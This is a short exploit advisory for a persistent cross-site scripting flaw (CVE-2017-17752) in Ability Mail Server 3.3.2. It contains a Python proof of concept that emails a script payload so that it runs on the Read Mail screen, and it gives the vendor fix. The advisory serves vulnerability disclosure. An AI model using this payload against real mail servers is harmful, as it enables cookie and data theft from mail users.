# Exploit Title: Ability Mail Server 3.3.2 Persistent Cross Site Scripting (XSS)# CVE: CVE-2017-17752# Date: 19-12-2017# Software Link: http://download.codecrafters.com/ams3.exe # Exploit Author: Aloyce J. Makalanga# Contact: https://twitter.com/aloycemjr# Vendor Homepage: http://www.codecrafters.com # Category: webapps# Attack Type: Remote# Impact: Data/Cookie theft
1. Description
Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.
2. Proof of Concept
#!/usr/bin/env python
email_addr = 'hacker@evil.local'
email = 'From: %s\n'% email_addr
email +='To: %s\n'% email_addr
email +='Subject: XSS\n'
email +='Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr,"password")
s.sendmail(email_addr, email_addr, email)
s.quit()
3. Solution:
Update to version 4.2.4
http://download.codecrafters.com/ams.exe
